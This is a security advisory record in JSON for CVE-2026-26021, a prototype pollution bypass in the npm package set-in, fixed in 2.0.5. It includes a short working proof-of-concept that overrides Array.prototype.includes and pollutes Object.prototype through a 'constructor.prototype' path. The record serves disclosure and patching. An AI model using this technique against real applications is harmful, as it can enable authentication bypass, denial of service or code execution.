{"id":"CVE-2026-26021","aliases":["GHSA-2c4m-g7rx-63q7"],"url":"https://o3.security/vulnerability/CVE-2026-26021","summary":"Prototype pollution in set-in","details":"### Summary\nA prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.\n\n### Details\nThe vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n#### Steps to reproduce\n1. Install latest version of set-in using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nArray.prototype.includes = () => false; \nconst si = require('set-in');\nconst obj = {};\nconsole.log({}.polluted);\nsi(obj, [\n    'constructor',\n    'prototype',\n    'polluted'\n], 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }');  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)","published":"2026-02-11T21:18:50.084Z","modified":"2026-08-12T03:51:37.218285153Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"set-in","fixedVersion":"2.0.5"}],"fix":{"url":"https://github.com/ahdinosaur/set-in/commit/b8e1dabfdbd35c8d604b6324e01d03f280256c3d","label":"ahdinosaur/set-in@b8e1dab"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26021.json"},{"type":"ADVISORY","url":"https://github.com/ahdinosaur/set-in/security/advisories/GHSA-2c4m-g7rx-63q7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26021"},{"type":"FIX","url":"https://github.com/ahdinosaur/set-in/commit/b8e1dabfdbd35c8d604b6324e01d03f280256c3d"},{"type":"WEB","url":"https://github.com/ahdinosaur/set-in/pull/6"},{"type":"WEB","url":"https://github.com/ahdinosaur/set-in/commit/34842cc02de3fd65d6f8bd0b268347e7b390125b"},{"type":"WEB","url":"https://github.com/ahdinosaur/set-in/commit/6bad255961d379e4b1f5fbc52ef9dc8420816f24"},{"type":"WEB","url":"https://github.com/ahdinosaur/set-in/commit/d87c1a09fa2edb55cd76440a67d83d1cb828df11"},{"type":"PACKAGE","url":"https://github.com/ahdinosaur/set-in"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.218285153Z"}}